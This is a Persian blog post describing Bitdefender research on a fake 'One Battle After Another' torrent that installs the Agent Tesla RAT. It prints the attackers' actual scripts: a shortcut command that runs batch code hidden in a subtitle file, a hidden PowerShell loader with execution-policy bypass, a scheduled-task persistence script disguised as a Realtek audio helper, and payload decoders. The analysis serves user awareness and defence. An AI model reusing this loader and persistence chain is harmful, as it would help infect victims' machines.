پس از مشاهده افزایش ناگهانی در شناساییهایی که به نظر میرسید مربوط به یک تورنت فیلم One Battle After Another باشه، محققای Bitdefender تحقیقاتی رو شروع کردن و متوجه شدن که با یک زنجیره آلودگی پیچیده روبهرو هستن.
این فیلم، جدیدترین اثر لئوناردو دیکاپریو، به سرعت توجه زیادی رو به خود جلب کرده و همین موضوع اون رو به طعمهای جذاب برای مجرمان سایبری تبدیل کرده که به دنبال آلودهسازی هرچه بیشتر دستگاهها هستن.
کاربران معمولا برای یافتن جدیدترین فیلمها، اینترنت رو جستجو میکنن، به این امید که نسخهای از فیلمی رو پیدا کنن که تازه اکران شده یا فقط از طریق سرویسهای استریم پولی در دسترس باشه.
از آنجا که هدف کاربران سرگرمی است، احتمال آلوده شدن سیستم هنگام دانلود یک فیلم معمولا به ذهنشان خطور نمیکنه. با این حال، چیزی که در ظاهر یک دانلود ساده به نظر میرسه، میتونه خیلی سریع به تهدیدی بسیار جدیتر تبدیل بشه. بجای فایل ویدیویی مورد انتظار، کاربران ناآگاهانه مجموعهای از اسکریپتهای پاورشل و فایلهای آرشیو رو دانلود میکنن که در نهایت به یک عامل C2 مستقر در حافظه با نام Agent Tesla منجر میشه.
این نوع بدافزار که در دسته ی RATها قرار داره با یک هدف مشخص طراحی شده: فراهم کردن دسترسی کامل و بدون محدود مهاجمان، به کامپیوتر ویندوز قربانی. پس از ایجاد جای پا در سیستم، مجرمان میتونن بصورت راه دور، به رایانه دسترسی پیدا کرده، اطلاعات مالی و شخصی رو بدزدن یا از دستگاه برای انجام حملات بعدی استفاده کنن.
روند جاسازی بدافزار در تورنتها و فایلهای چندرسانهای جعلی که خودشون رو بعنوان فیلم یا سریال جا میزنن، موضوع جدیدی نیست. اما در یک سال اخیر به شدت گسترش یافته. برای نمونه، فیلم Mission: Impossible – The Final Reckoning برای انتشار بدافزار Lumma Stealer مورد استفاده قرار گرفته بود. بدافزاری که رمزهای عبور، کوکیها، کیفپولهای رمزارزی، اطلاعات ابزارهای ریموت دسکتاپ و موارد دیگر رو هدف قرار میده.
بدافزار Agent Tesla که در این نسخه جعلی از فیلم مشاهده شده، سالهاست در کمپینهای مختلف مورد استفاده قرار گرفته؛ از جمله حملات فیشینگ و حتی ثبت نام جعلی واکسیناسیون COVID-19.
این تحقیق تمامی لایههای این حمله جدید رو مستندسازی کرده و نشان میده که چطوری اجزای مختلف با هم همکاری میکنن تا از شناسایی فرار کنن.
قبل از اینکه زنجیره آلودگی و موارد مرتبط با این کمپین رو مطالعه کنید، اگه به فیلم، سریال و مستند در زمینه ی هک و امنیت علاقمند هستید، پست “معرفی فیلم ها و سریالهای مرتبط با هک و امنیت” رو مشاهده کنید. فقط موقع دانلود مراقب باشید تا آلوده نباشن.
یافتههای کلیدی
- شهرت فیلم جدید لئوناردو دیکاپریو، One Battle After Another، برای استقرار بدافزار روی سیستمهای ویندوزی کاربران ناآگاه مورد سوءاستفاده قرار گرفته.
- خود RAT موسوم به Agent Tesla چیز جدیدی نیست، اما شیوه استقرارش با استفاده از حملات متوالی مبتنی بر پاورشل و سایر ابزارهای LOTL (Living Off the Land) بسیار قابلتوجه است.
- بر اساس بررسیها، این نوع خاص از حمله فقط در همین تورنت مشاهده شده.
- اجرای پیلود مخرب بطور کامل در حافظه انجام میشه.
- این حمله از اسکریپتنویسی چندمرحلهای، تکنیکهای پیشرفته مبهمسازی و اجرا در مموری (Fileless) برای فرار از شناسایی و ماندگاری در سیستم استفاده میکنه.
- هدف نهایی، تبدیل رایانه ویندوزی به یک عامل زامبی است که در هر زمان بشه ازش در کمپینهای دیگه یا برای انتشار بدافزارهای بیشتر استفاده کرد.
- این حمله عمدتا کاربران تازهکار رو هدف میگیره که بطور معمول محتوای کرک شده دانلود میکنن یا از خطرات تورنتها آگاهی کافی ندارن.
زمینه:
فرآیند آلودگی زمانی شروع میشه که کاربر یک تورنت رو دانلود میکنه که ظاهراً حاوی فیلم One Battle After Another است. در میان محتوای دانلودشده، فایل میانبری با نام ساده CD.lnk وجود داره که نشان میده برای اجرای فیلم طراحی شده. اما با کلیک روی این فایل، بجای پخش فیلم، یک زنجیره دستور مخفی فعال میشه که مجموعهای از اسکریپتهای مخرب رو اجرا میکنه. اسکریپتهایی که درون فایل زیرنویس Part2.subtitles.srt مخفی شدن.
مهاجم برای باز کردن چندین لایه داده رمزگذاریشده، از چندین ابزار قانونی ویندوز مانند CMD، PowerShell و Task Scheduler استفاده میکنه.
زنجیره آلودگی:
1- راه انداز جعلی فیلم
وقتی کاربر فایل CD.lnk رو باز میکنه، دستور زیر اجرا میشه:
|
1 |
\Windows\System32\cmd.exe /c type Part2.subtitles.srt | more | findstr /n "^" | findstr "100: 101: 102: 103:" | for /f "tokens=1,* delims=:" %a in ('more') do cmd /c %b |
بطور خلاصه، این دستور فایل Part2.subtitles.srt رو میخونه، خطوط 100 تا 103 رو استخراج میکنه و اون رو با استفاده از cmd.exe و powershell.exe اجرا میکنه. نکته جالب اینجاست که فایل srt واقعا شامل زیرنویس واقعیه، اما خطوط 100 تا 103 حاوی کدهای batch هستن که حمله رو شروع میکنن.
2- کد مخفی داخل زیرنویس
در خطوط مشخصشده فایل زیرنویس، این اسکریپت batch وجود داره:
|
1 2 3 |
@echo off cd /d "%~dp0" powershell -windowstyle hidden -nop -ep Bypass -c "$s=5005;$e=152;$f=('P'+[char]97+'rt'+(1+1)+'.subtitles.srt');(gc $f)|select -Skip $s -First $e|powershell -windowstyle hidden -nop -ep Bypass -f -" |

این دستور پاورشل در واقع دوباره فایل Part2.subtitles.srt رو باز میکنه، به خط 5005 میره، 152 خط رو میخونه و اونارو اجرا میکنه. کاری که مرحله بعدی حمله رو مشخص میکنه.

3- رمرگشایی پیلودهای جاسازی شده:
کد پاورشل، بلوکهای داده رمزگذاریشده رو از همان فایل زیرنویس (در خطوط 6034، 7216 و 7419) استخراج میکنه. این اسکریپت از رمزنگاری AES استفاده کرده و چندین اسکریپت پاورشل رو در فولدر زیر مینویسه:
|
1 |
C:\Users\<USER>\AppData\Local\Microsoft\Diagnostics |

خروجی این مرحله: پنج اسکریپت پاورشل جدید هستش که هر کدوم، مسئولیت یکی از مراحل حمله رو بر عهده دارن.
4- اسکریپت اول: استخراج آرشیو
اولین اسکریپت، محتوای فایلی به نام One Battle After Another.m2ts رو استخراج میکنه. فایلی که ظاهرا ویدیوییِ اما در واقع یک آرشیو و بزرگترین فایل محسوب میشه. بسته به ابزارهای موجود در سیستم، از یکی از موارد Expand-Archive، WinRAR، 7-Zip یا Bandizip استفاده میکنه.
|
1 2 3 4 5 6 7 |
$arc=".\One Battle After Another.m2ts"; $out=".\"; if($arc -like '*.zip' -and (Get-Command Expand-Archive -Ea 0)){Expand-Archive $arc $out -Force} elseif($arc -like '*.zip'){($s=New-Object -Com Shell.Application).Namespace($out).CopyHere($s.Namespace($arc).Items(),16)} elseif(Test-Path "C:\Program Files\WinRAR\WinRAR.exe"){& "C:\Program Files\WinRAR\WinRAR.exe" x -ibck -inul -o+ $arc $out} elseif(Test-Path "C:\Program Files\7-Zip\7z.exe"){& "C:\Program Files\7-Zip\7z.exe" x $arc -o"$out" -y} elseif(Test-Path "C:\Program Files\Bandizip\Bandizip.exe"){& "C:\Program Files\Bandizip\Bandizip.exe" x $arc $out -y} else{"No extractor found"} |
نقش این اسکریپت فقط یک چیزه : باز کردن آرشیو جعلی برای استفاده در مراحل بعدی.
5- اسکریپت دوم: ایجاد scheduled task
هدف اسکریپت دوم، ایجاد ماندگاری (Persistence) از طریق Task Scheduler است. این اسکریپت یک تسک با نام RealtekDiagnostics ایجاد میکنه که توضیحاش “Audio Helper” است تا در صورت بررسی کاربر، طبیعی به نظر برسه. این تسک فایل RealtekCodec.bat رو اجرا میکنه.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$C = "$env:LOCALAPPDATA\Packages\Microsoft.WindowsSoundDiagnostics\Cache" $T = "RealtekDiagnostics" $B = "$C\RealtekCodec.bat" $S = New-Object -ComObject Schedule.Service $S.Connect() $F = $S.GetFolder("\") $D = $S.NewTask(0) $D.RegistrationInfo.Description = "Audio Helper" $A = $D.Actions.Create(0) $A.Path = "cmd.exe" $A.Arguments = [string]::Format('/c start /min "" "{0}"', $B) $F.RegisterTaskDefinition($T, $D, 6, $null, $null, 3, $null) |
این تسک مخفیه و با حساب کاربری فعلی اجرا میشه و یک دقیقه پس از ایجاد یا هنگام ورود کاربر (Logon) فعال میشه.
6- اسکریپت سوم: دیکد کردن داده مخفی از photo.jpg
اسکریپت سوم فایل Photo.jpg رو پردازش میکنه، یک تصویر جعلی که حاوی داده باینری انکد شده است. این دادهها بصورت بایتبهبایت خونده و دیکد میشن.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
$Deal = ".\Photo.jpg" $Exit = "$env:LOCALAPPDATA\Packages\Microsoft.WindowsSoundDiagnostics\Cache" [byte[]]$blob = [IO.File]::ReadAllBytes($Deal) $pos = 0 $enc = [System.Text.Encoding]::UTF8 while ($pos -lt $blob.Length) { if ($pos + 4 -gt $blob.Length) { break } $nameLen = [BitConverter]::ToInt32($blob, $pos) $pos += 4 if ($pos + $nameLen -gt $blob.Length) { break } $filename = $enc.GetString($blob[$pos..($pos + $nameLen - 1)]) $pos += $nameLen if ($pos + 4 -gt $blob.Length) { break } $dataLen = [BitConverter]::ToInt32($blob, $pos) $pos += 4 if ($pos + $dataLen -gt $blob.Length) { break } $data = $blob[$pos..($pos + $dataLen - 1)] $pos += $dataLen for ($i = 0; $i -lt $data.Length; $i++) { $data[$i] = ($data[$i] - 3) -band 0xFF } $outPath = Join-Path $Exit $filename [IO.Directory]::CreateDirectory((Split-Path $outPath)) | Out-Null [IO.File]::WriteAllBytes($outPath, $data) Write-Host "[+] Restored: $filename" } |
هر فایل دیکد شده به فولدر Windows Sound Diagnostics Cache منتقل میشه.
7- اسکریپت چهارم: آمادهسازی فولدر Cache
اسکریپت چهارم بررسی میکنه که فولدر موردنیاز برای پیلودها وجود داره یا نه. اگه نبود، اون رو ایجاد میکنه:
|
1 2 3 4 |
$Cache = "$env:LOCALAPPDATA\Packages\Microsoft.WindowsSoundDiagnostics\Cache" if (-not (Test-Path $Cache)) { New-Item -Path $Cache -ItemType Directory -Force | Out-Null } |
8- اسکریپت پنجم: استخراج Cover.jpg
پنجمین اسکریپت پاورشل یکی از جالبترین مراحل است. این اسکریپت یک آرشیو مخفی دیگه رو استخراج میکنه که بطور جعلی Cover.jpg نامگذاری شده. این آرشیو با یک رمز عبور قدرتمند محافظت شده که در واقع فقط عدد 1 است. اگه فولدر Cache خالی باشه، فایل با استفاده از WinRAR، 7-Zip یا Bandizip استخراج میشه.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$arc1=".\Cover.jpg"; $pw="1" $out="$env:LOCALAPPDATA\Packages\Microsoft.WindowsSoundDiagnostics\Cache" if (!(Test-Path $out)) {New-Item $out -ItemType Directory -Force | Out-Null} if ((Get-ChildItem $out -File -Recurse -ErrorAction SilentlyContinue).Count -eq 0) { if (Test-Path "C:\Program Files\WinRAR\WinRAR.exe") { Start-Process -FilePath "C:\Program Files\WinRAR\WinRAR.exe" -ArgumentList "x -ibck -inul -o+ -p$pw -ep1 -y `"$arc1`" `"$out`"" -Wait -WindowStyle Hidden } elseif (Test-Path "C:\Program Files\7-Zip\7z.exe") { Start-Process -FilePath "C:\Program Files\7-Zip\7z.exe" -ArgumentList "x -p$pw `"$arc1`" -o' "$out`" -y" -Wait -WindowStyle Hidden } elseif (Test-Path "C:\Program Files\Bandizip\Bandizip.exe") { Start-Process -FilePath "C:\Program Files\Bandizip\Bandizip.exe" -ArgumentList "x `"$arc1`" `"$out`" -p:$pw -y" -Wait -WindowStyle Hidden } else { "No extractor found" } } else { "Archive already extracted" } |
در این مرحله چندین فایل استخراج میشه:
- {ABBF9F3A-4EE4-1C17-AF33-C637E37CA0D9}.1.ver0x0200040000100002.db
- {AFBF9F1A-1EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db
- {AFBF9F1A-2EE2-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db
- {AFBF9F1A-3EE3-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db
- {AFBF9F1A-4EE4-1C17-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db
- {AFBF9F1A-4EE4-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db
- {AFBF9F2A-4EE4-4C27-AF34-C647E37CA0D9}.1.ver0x0000300002000403.db
- {AFBF9F3A-4EE4-1C17-AF32-C647E37CA0D9}.1.ver0x0000040000000002.db
- {AFBF97F1A-4EE4-1a17-AF34-C647E37CA0D9}.1.ver0x0001000000000002.db
- {AFBF97F1A-4EE4-1a17-AF34-C647E37CA0D9}.1.ver0x0343400000000002.db
- AudioTask.xml
- part1.txt
- part2.txt
- Part3.Resolution
- part3.txt
- RealtekAudioService.db
- RealtekAudioService.go
- RealtekAudioSyncHelper.bat
- RealtekCodec.bat
- RealtekDriverInstall.ps1
- RealtekUpdateDriver.ps1
9- RealtekCodec.bat و RealtekDriverInstall.ps1
تسک زمانبندیشده فایل RealtekCodec.bat رو اجرا میکنه و این فایل هم اسکریپت RealtekDriverInstall.ps1 رو اجرا میکنه. اسکریپت RealtekDriverInstall.ps1 چند کار کلیدی انجام میده:
- بررسی میکنه که Windows Defender فعاله یا نه.
- تلاش میکنه زبان برنامهنویسی Go رو نصب کنه.
- برنامه RealtekAudioService رو کامپایل میکنه.
- ماندگاری بدافزار رو از طریق همان تسک زمانبندیشده تنظیم میکنه.
فایل اجرایی کامپایل شده، بعنوان لودر مرحله بعدی برای پیلود اصلی، یعنی بدافزار Agent Tesla عمل میکنه.
10- اجرای Runtime از طریق Part3.Resolution
پس از آماده شدن همه چیز، اسکریپت RealtekAudioSyncHelper.bat اجرا شده و فایل Part3.Resolution رو میخونه. در خط 1014، یک دستور پاورشل، سه فایل متنی (part1.txt، part2.txt، part3.txt) رو به هم متصل و دیکد میکنه. خروجی این فرآیند یک پیلود است که مستقیما در حافظه اجرا میشه و در این مرحله هیچ فایلی روی دیسک نوشته نمیشه.
11- رفتار پیلود نهایی
باینری دیکد شده بطور کامل در حافظه اجرا میشه و شامل تمام کتابخانهها و توابع لازم برای برقراری ارتباط C2 است. تحقیقات، وجود روالهای ارتباطی رو تأیید میکنه، اما مقصد سرور راه دور شناسایی نشد، چون هیچ اتصال خارجی برقرار نشده.
جمعبندی
تخمین تعداد افرادی که این فایلها رو دانلود کردن غیرممکنه ، اما مشخص شد که فیلم جعلی دارای هزاران Seeder و Leecher بوده. هر کاربری که یکی از محصولات امنیتی Bitdefender رو نصب کرده بود، از همان ابتدا محافظت میشد.
در چند سال گذشته، تعداد فایلهای تورنت آلوده که وعده جدیدترین فیلمها و سریالها رو میدن، بهشدت افزایش یافته. کاملا مشخصِ که مهاجمان به یک بردار حمله مؤثر دست پیدا کردن و به نظر میرسه Agent Tesla به تدریج به یکی از ابزارهای محبوب اونا تبدیل شده.
این مشکلات احتمالا افزایش خواهند یافت؛ دستکم تا زمانی که کاربران درک کنن، تهدیدها میتونن درون فایلهای چندرسانهای هم مخفی شده باشن.